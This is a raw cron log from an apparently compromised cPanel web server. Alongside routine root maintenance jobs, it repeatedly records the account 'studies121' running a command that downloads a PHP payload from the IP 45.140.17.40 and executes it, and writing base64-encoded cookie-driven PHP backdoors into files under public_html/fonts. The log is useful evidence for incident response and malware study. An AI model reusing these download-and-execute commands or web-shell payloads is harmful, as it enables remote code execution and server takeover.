Sep  6 07:48:01 ip-184-168-122-23 CROND[4543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:49:02 ip-184-168-122-23 CROND[4742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:49:02 ip-184-168-122-23 CROND[4744]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 07:49:02 ip-184-168-122-23 CROND[4747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:49:02 ip-184-168-122-23 CROND[4746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:49:02 ip-184-168-122-23 CROND[4748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:50:01 ip-184-168-122-23 CROND[4959]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:50:01 ip-184-168-122-23 CROND[4961]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:50:01 ip-184-168-122-23 CROND[4965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:50:01 ip-184-168-122-23 CROND[4966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:50:01 ip-184-168-122-23 CROND[4969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:50:01 ip-184-168-122-23 CROND[4974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:50:01 ip-184-168-122-23 CROND[4971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:50:01 ip-184-168-122-23 CROND[4972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:50:01 ip-184-168-122-23 CROND[4975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:51:01 ip-184-168-122-23 CROND[5090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:51:01 ip-184-168-122-23 CROND[5091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:51:01 ip-184-168-122-23 CROND[5092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:51:01 ip-184-168-122-23 CROND[5093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:52:01 ip-184-168-122-23 CROND[5177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:52:01 ip-184-168-122-23 CROND[5178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:52:01 ip-184-168-122-23 CROND[5179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:52:01 ip-184-168-122-23 CROND[5180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:52:01 ip-184-168-122-23 CROND[5181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:53:01 ip-184-168-122-23 CROND[5271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:53:01 ip-184-168-122-23 CROND[5272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:53:01 ip-184-168-122-23 CROND[5273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:53:01 ip-184-168-122-23 CROND[5274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:54:01 ip-184-168-122-23 CROND[5369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:54:01 ip-184-168-122-23 CROND[5370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:54:01 ip-184-168-122-23 CROND[5372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:54:01 ip-184-168-122-23 CROND[5374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:54:01 ip-184-168-122-23 CROND[5371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:55:01 ip-184-168-122-23 CROND[5485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:55:01 ip-184-168-122-23 CROND[5487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:55:01 ip-184-168-122-23 CROND[5489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:55:01 ip-184-168-122-23 CROND[5491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:55:01 ip-184-168-122-23 CROND[5493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:55:01 ip-184-168-122-23 CROND[5492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:56:01 ip-184-168-122-23 CROND[5657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:56:01 ip-184-168-122-23 CROND[5659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:56:01 ip-184-168-122-23 CROND[5661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:56:01 ip-184-168-122-23 CROND[5660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:56:01 ip-184-168-122-23 CROND[5662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:57:01 ip-184-168-122-23 CROND[5751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:57:01 ip-184-168-122-23 CROND[5753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:57:01 ip-184-168-122-23 CROND[5754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:57:01 ip-184-168-122-23 CROND[5756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:58:01 ip-184-168-122-23 CROND[5837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:58:01 ip-184-168-122-23 CROND[5839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:58:01 ip-184-168-122-23 CROND[5841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:58:01 ip-184-168-122-23 CROND[5843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:58:01 ip-184-168-122-23 CROND[5844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:59:01 ip-184-168-122-23 CROND[5948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:59:01 ip-184-168-122-23 CROND[5947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:59:01 ip-184-168-122-23 CROND[5949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:59:01 ip-184-168-122-23 CROND[5950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:00:01 ip-184-168-122-23 CROND[6048]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:00:01 ip-184-168-122-23 CROND[6050]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 08:00:01 ip-184-168-122-23 CROND[6053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:00:01 ip-184-168-122-23 CROND[6054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:00:01 ip-184-168-122-23 CROND[6055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:00:01 ip-184-168-122-23 CROND[6062]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  6 08:00:01 ip-184-168-122-23 CROND[6063]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:00:01 ip-184-168-122-23 CROND[6060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
